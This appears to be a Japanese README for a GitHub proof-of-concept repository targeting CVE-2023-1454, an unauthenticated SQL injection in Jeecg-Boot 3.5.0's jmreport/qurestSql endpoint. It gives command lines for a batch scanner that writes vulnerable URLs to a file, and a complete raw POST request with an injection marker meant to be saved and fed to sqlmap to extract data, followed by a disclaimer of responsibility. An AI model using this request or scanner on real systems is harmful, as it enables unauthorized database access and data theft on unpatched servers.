cjybao/cve-2023-1454jmreport/qurestSql 未承認SQLインジェクションのバッチスキャンPOC
jmreport/qurestSql 未承認SQLインジェクションのバッチスキャンpoc Jeecg-Bootは、Spring BootとJeecg-Boot-Plusをベースにした高速開発プラットフォームです。最新のjeecg-boot 3.5.0で複数のSQLインジェクション脆弱性が発見されました。
python3 CVE-2023-1454-scan.py -u http://127.0.0.1:1111 単一URLテスト
python3 CVE-2023-1454-scan.py -f url.txt バッチ検出
スキャン終了後、現在のディレクトリに脆弱性のあるURLのvuln.txtが生成されます。
poc：
exp：
データパケットをtxtとして保存し、sqlmapでデータを取得できます。
POST /jeecg-boot/jmreport/qurestSql HTTP/1.1
Host: xxx.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2088.112 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json;charset=UTF-8
Content-Length: 129
{"apiSelectId":"1290104038414721025",
"id":"1*"}
この文書が提供する情報の伝播または利用によって生じる直接的または間接的な結果および損失は、すべて使用者本人が負うものとし、著者は一切の責任を負いません。